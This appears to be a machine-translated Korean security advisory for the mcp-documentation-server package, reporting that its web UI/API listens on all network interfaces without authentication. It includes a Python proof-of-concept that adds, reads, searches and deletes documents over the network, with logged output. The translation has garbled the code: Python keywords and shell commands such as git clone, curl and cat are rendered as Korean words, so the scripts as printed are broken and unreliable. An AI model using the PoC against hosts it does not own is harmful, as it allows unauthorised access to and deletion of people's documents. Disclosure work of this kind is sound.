@andrea9293/mcp-documentation-server: 웹 UI API는 기본적으로 인증 없이 모든 인터페이스에 바인딩됩니다.
@andrea9293/mcp-documentation-server v1.13.0은 웹 UI가 포트 3080에서 자동으로 시작된다는 것을 문서화합니다. 그러나 웹 UI/API는 기본적으로 localhost 전용이 아닌 모든 네트워크 인터페이스(*:3080 / 0.0.0.0:3080)에 바인딩되는 것으로 보이며 해당 문서 관리 API 엔드포인트에는 인증이 필요하지 않습니다.
결과적으로 동일한 LAN, VM 네트워크 또는 컨테이너 브리지에서 네트워크에 연결할 수 있는 모든 클라이언트는 자격 증명 없이 document-admin API에 액세스할 수 있습니다. 나의 재생산에서는 문서를 열거하고, 문서를 추가하고, 전체 내용을 읽고, 말뭉치 전체를 검색하고, 호스트의 LAN IP를 통해 문서를 삭제할 수 있었습니다.
문제는 웹 UI가 존재한다는 것이 아닙니다. 문제는 로컬 문서 관리 웹 UI/API가 기본적으로 인증 없이 모든 인터페이스에 노출된다는 것입니다.
웹 UI가 자동으로 시작되고 사용자에게 열도록 지시하는 README 문서는 다음과 같습니다.
``텍스트 http://localhost:3080
또한 `START_WEB_UI=true` 및 `WEB_PORT=3080`을 기본값으로 문서화합니다.
취약한 동작은 명시적으로 localhost에 바인딩하지 않고 웹 서버를 시작하는 데서 발생하는 것으로 보입니다.
`src/server.ts`에서 `START_WEB_UI=false`를 제외하고 웹 UI가 시작됩니다.
``ts
if (process.env.START_WEB_UI !== 'false') {
초기화DocumentManager().then(관리자 => {
return startWebServer(정의되지 않음, 관리자);
}).then(() => {
console.error('[서버] 웹 UI 시작됨 (port=' + (process.env.WEB_PORT || '3080') + ')');
})...
}
src/web-server.ts에서 Express 앱은 포트로만 수신 대기하는 것으로 나타납니다.
``ts
const 서버 = app.listen(PORT, () => {
console.log(\n 🌐 MCP 문서 서버 - 웹 UI);
console.log( ───────────────────────────────────);
console.log( 로컬: http://localhost:${PORT});
console.log( 네트워크: http://0.0.0.0:${PORT}\n);
});
Express/Node를 사용하면 호스트 인수가 없는 `app.listen(PORT)`가 모든 인터페이스에 바인딩됩니다. 내 재생산 결과는 다음과 같습니다.
``텍스트
LISTEN 0 511 *:3080 *:* 사용자:(("MainThread",pid=1781375,fd=21))
노출된 API에는 다음과 같은 문서 관리 작업이 포함됩니다.
``텍스트 GET /api/문서 GET /api/documents/:id POST /api/문서 POST /api/search-all 삭제 /api/documents/:id GET /api/config
PoC 요청에 'Authorization' 헤더를 보내지 않았으며 테스트된 모든 작업이 성공했습니다.
### PoC
v1.13.0에서 테스트되었습니다.
#### 1. 소스에서 빌드
``배쉬
CD ~/데스크탑
mkdir -p docsrv_repro_from_scratch
CD docsrv_repro_from_scratch
자식 클론 https://github.com/andrea9293/mcp-documentation-server.git
CD mcp-문서-서버
git rev-parse HEAD
npm install --no-audit --no-fund
npm 실행 빌드
ls -l dist/server.js
노드 -p "require('./package.json').version"
예상 버전:
``텍스트 1.13.0
#### 2. 기본 웹 UI 동작으로 서버를 시작합니다.
`START_WEB_UI=false`를 설정하지 마세요.
``배쉬
rm -rf /tmp/docsrv_base
mkdir -p /tmp/docsrv_base
MCP_BASE_DIR=/tmp/docsrv_base \
WEB_PORT=3080 \
노드 dist/server.js \
</dev/null \
>/tmp/docsrv_stdout.log \
2>/tmp/docsrv_stderr.log &
DOCSRV_PID=$!
수면 5
echo "DOCSRV_PID=$DOCSRV_PID"
ps -p "$DOCSRV_PID" -o pid,stat,cmd
``배쉬 ss -ltnp | grep ':3080' || 사실
관찰됨:
``텍스트
LISTEN 0 511 *:3080 *:* 사용자:(("MainThread",pid=1781375,fd=21))
이는 서비스가 '127.0.0.1'에만 바인딩되어 있지 않음을 나타냅니다.
``배쉬 LAN_IP=$(호스트 이름 -I | awk '{print $1}') echo "LAN_IP=$LAN_IP"
컬 -sS --max-time 5 "http://$LAN_IP:3080/api/config" 에코
관찰됨:
``텍스트
LAN_IP=10.0.250.230
{"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"}
인증 헤더가 전송되지 않았습니다.
``배쉬 고양이 > /tmp/docsrv_unauth_poc.py <<'PY' #!/usr/bin/env python3 JSON 가져오기 수입 시스템 urllib.request 가져오기 urllib.error 가져오기
HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080 베이스 = f"http://{호스트}:{포트}"
def req(메소드, 경로, 본문=없음): data = json.dumps(body).encode() body가 아닌 경우 None else None headers = {"Content-Type": "application/json"} if body is not None else {} r = urllib.request.Request(f"{BASE}{path}", 데이터=데이터, 메서드=메소드, 헤더=헤더) urllib.request.urlopen(r, timeout=10)을 다음과 같이 사용합니다. 원시 = resp.read().decode() 시도해 보세요: resp.status, json.loads(raw 또는 "null") 반환 예외: resp.status를 원시로 반환
데프 메인(): print(f"[poc] 대상 = {BASE}") print("[poc] 승인 헤더가 전송되지 않았습니다.")
상태, 구성 = req("GET", "/api/config")
print(f"[0] 구성: HTTP {상태}, {config}")
상태, 문서 = req("GET", "/api/documents")
print(f"[1] 목록 문서: HTTP {상태}, 개수={len(docs) if isinstance(docs, list) else '알 수 없음'}")
마커 = "ATTACKER_ControlLED_DOCUMENT_MARKER_unauth_network_api"
본문 = {
"title": "네트워크 삽입 테스트 문서",
"content": marker + "\n이 문서는 인증되지 않은 네트워크 API를 통해 삽입되었습니다.",
"메타데이터": {"소스": "unauth-network-poc"}
}
상태, 추가됨 = req("POST", "/api/documents", body)
print(f"[2] 문서 추가: HTTP {상태}, 응답={추가}")
doc_id = 없음
isinstance(추가, dict)인 경우:
doc_id = added.get("id") 또는 added.get("document", {}).get("id")
doc_id가 아닌 경우:
상태, 문서 = req("GET", "/api/documents")
문서의 d에 대해:
if d.get("title") == "network-inserted-test-document":
doc_id = d.get("id")
휴식
doc_id가 아닌 경우:
raise RuntimeError("삽입된 문서 ID를 찾을 수 없습니다")
print(f"[2] 삽입된 ID={doc_id}")
상태, doc = req("GET", f"/api/documents/{doc_id}")
content = doc.get("content", "") if isinstance(doc, dict) else str(doc)
print(f"[3] 문서 읽기: HTTP {상태}, marker_present={콘텐츠의 마커}")
상태, 조회수 = req("POST", "/api/search-all", {
"query": "ATTACKER_ControlLED_DOCUMENT_MARKER 네트워크가 삽입되었습니다",
"한계": 5
})
print(f"[4] 검색-전체: HTTP {상태}, response_prefix={str(hits)[:300]!r}")
상태, 삭제됨 = req("DELETE", f"/api/documents/{doc_id}")
print(f"[5] 문서 삭제: HTTP {상태}, 응답={삭제}")
print("[poc] 완료")
name == "main"인 경우: 메인() 피
chmod +x /tmp/docsrv_unauth_poc.py
localhost에 대해 실행:
``배쉬
python3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080
관찰됨:
``텍스트 [poc] 대상 = http://127.0.0.1:3080 [poc] 인증 헤더가 전송되지 않았습니다. [0] 구성: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] 목록 문서: HTTP 200, 개수=0 [2] 문서 추가: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': '문서가 성공적으로 추가되었습니다.'} [2] 삽입된 ID=ef13280d7441d5bb [3] 문서 읽기: HTTP 200, marker_present=True [4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_ControlLED_DOCUMENT_MARKER_unauth_network_api\n이 문서는 인증되지 않은 네트워크 API를 통해 삽입되었습니다.'}]" [5] 문서 삭제: HTTP 200, 응답={'성공': True, 'message': '문서 "network-inserted-test-document"가 삭제되었습니다.'} [poc] 완료
호스트의 LAN IP에 대해 동일한 PoC를 실행합니다.
``배쉬
LAN_IP=$(호스트 이름 -I | awk '{print $1}')
python3 /tmp/docsrv_unauth_poc.py "$LAN_IP" 3080
관찰됨:
``텍스트 [poc] 대상 = http://10.0.250.230:3080 [poc] 인증 헤더가 전송되지 않았습니다. [0] 구성: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] 목록 문서: HTTP 200, 개수=0 [2] 문서 추가: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': '문서가 성공적으로 추가되었습니다.'} [2] 삽입된 ID=ef13280d7441d5bb [3] 문서 읽기: HTTP 200, marker_present=True [4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_ControlLED_DOCUMENT_MARKER_unauth_network_api\n이 문서는 인증되지 않은 네트워크 API를 통해 삽입되었습니다.'}]" [5] 문서 삭제: HTTP 200, 응답={'성공': True, 'message': '문서 "network-inserted-test-document"가 삭제되었습니다.'} [poc] 완료
#### 6. 정리
``배쉬
kill "$DOCSRV_PID" 2>/dev/null || 사실
퓨저 -k 3080/tcp 2>/dev/null || 사실
rm -rf /tmp/docsrv_base
rm -f /tmp/docsrv_unauth_poc.py
rm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log
이는 웹 UI/API에 대한 인증 누락 및 안전하지 않은 기본 네트워크 노출 문제입니다.
네트워크에 접근할 수 있는 공격자는 자격 증명 없이 문서 관리 API에 접근할 수 있습니다. 사용자가 문서 서버에 저장하는 내용에 따라 다음이 허용될 수 있습니다.
이는 노트북, 워크스테이션, 개발 VM 또는 공유 네트워크, VPN, Docker 브리지 또는 기타 라우팅 가능한 로컬 네트워크에 연결된 호스트에서 MCP 서버를 실행하는 사용자에게 영향을 미칠 수 있습니다.
이는 인증되지 않은 원격 코드 실행에 대한 주장이 아닙니다. 문제는 문서화된 웹 UI/API가 기본적으로 모든 인터페이스에 노출되며 문서 관리 작업에 대한 인증이 필요하지 않다는 것입니다.
더 안전한 기본값은 기본적으로 웹 UI/API를 127.0.0.1에 바인딩하고 네트워크 노출을 위해 WEB_BIND_HOST=0.0.0.0과 같은 명시적인 선택을 요구하는 것입니다. 네트워크 바인딩이 지원되는 경우 문서 관리 엔드포인트에 인증 토큰이 필요합니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 88.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 88.00 |
VPI 공식 vpi-v1 기준